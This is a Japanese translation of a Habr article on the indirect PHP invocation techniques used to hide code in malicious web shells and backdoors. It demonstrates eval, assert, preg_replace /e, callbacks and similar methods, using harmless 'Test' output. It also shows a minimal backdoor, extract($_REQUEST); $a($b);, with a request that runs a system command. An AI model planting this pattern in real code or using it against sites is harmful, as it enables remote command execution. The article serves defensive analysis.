悪意のあるスクリプトで使用される暗黙的なphpコード呼び出しメソッド

サイトを処理する過程で、多くの種類のハッカーのシェルとバックドアが発見されています。 スクリプトは機能が異なり、ソースコードを難読化する方法が異なりますが、共通点が1つあります。これは、変数と関数の暗黙的な宣言、および間接的な関数呼び出しです。

このアプローチは悪意のあるコード開発者の間で人気があります。なぜなら、一方ではソースコードの分析を著しく複雑にし、他方ではテキストデータにコードを保存できるためです。 たとえば、悪意のあるコードの一部は、サードパーティのサイト、データベース、jpeg / png / gifメタデータからダウンロードしたり、スクリプトリクエストで送信したりできます。 さらに、プレーンテキスト文字列として表示されるコードの一部は、簡単に暗号化できます。

ところで、これらの方法は、ライセンスキーをチェックし、Webアプリケーションを登録して、ソフトウェア製品のクラッキングを困難にするスクリプトで、平和的な目的でWeb開発者によって使用されます。

さまざまな悪意のあるコードにもかかわらず、関数を宣言して間接的に呼び出すためのオプションは多くありません。 以下は、コードを非表示で呼び出すためのさまざまな手法の例です。 簡単かつ明確にするために、呼び出しによって表される「悪意のあるコード」を許可します

echo "Test" 


ページに「テスト」という単語が表示されます。 当然、実際のシェルとバックドアでは、変数と関数の名前、および実行可能コードはオープン形式で保存されず、ほとんどの場合難読化されます。



オプション1:間接的な関数呼び出し

 <?php $a = "var_dump"; $b = "Test"; $a($b); ?> 


オプション2:evalによるコード実行

 <?php eval('$a = "Test"; echo $a;'); ?> 


オプション3:assertによるコード実行

 <?php assert('print("Test")'); ?> 


オプション4:array_mapを介したコード実行

 <?php function evil($a) { echo $a; } array_map('evil', array("Test")); ?> 


オプション5:preg_replaceによるコード実行( '/.*/ e')

 <?php preg_replace('/.*/e', 'print("Test")', ''); ?> 


オプション6:preg_replace_callbackによるコード実行

 <?php $a = function () { echo "Test"; }; preg_replace_callback('/.*/', $a, ''); ?> 


オプション7:usort、uasort、uksortによるコード実行

 <?php $a = function ($x, $y) { echo "Test"; }; $b = array(1 => '1', 2 => '2'); usort( $b, $a); ?> 


オプション8:隠された関数の宣言と抽出を通過するパラメーター

 <?php extract($_REQUEST); $a($b); ?> 


site.ru/script.php?a=system&b=lsを起動すると、システム関数system( "ls")が実行されます

オプション9:完了関数を登録する(exit()またはdie()を実行してすぐに実行できます)

 <?php register_shutdown_function(create_function('', "echo 'Test';")); ?> 


同じアプローチは、呼び出し可能な関数を引数として取るすべての呼び出しで使用できます:call_user_func_array()、call_user_func()、forward_static_call_array、forward_static_call()、register_tick_function()。 実際のシェルおよびバックドアでは、これらの関数を介した呼び出しは発生しませんでしたが、通常はオプション1〜8が使用されます。

実際のバックドアでは、上記のオプションが組み合わせて使用​​され、変数と関数の宣言自体がスクリプトの外部で取得されることがよくあります(たとえば、データベース、リモートサーバー、またはイメージメタデータからダウンロードされます)。

Source: https://habr.com/ru/post/J215139/


All Articles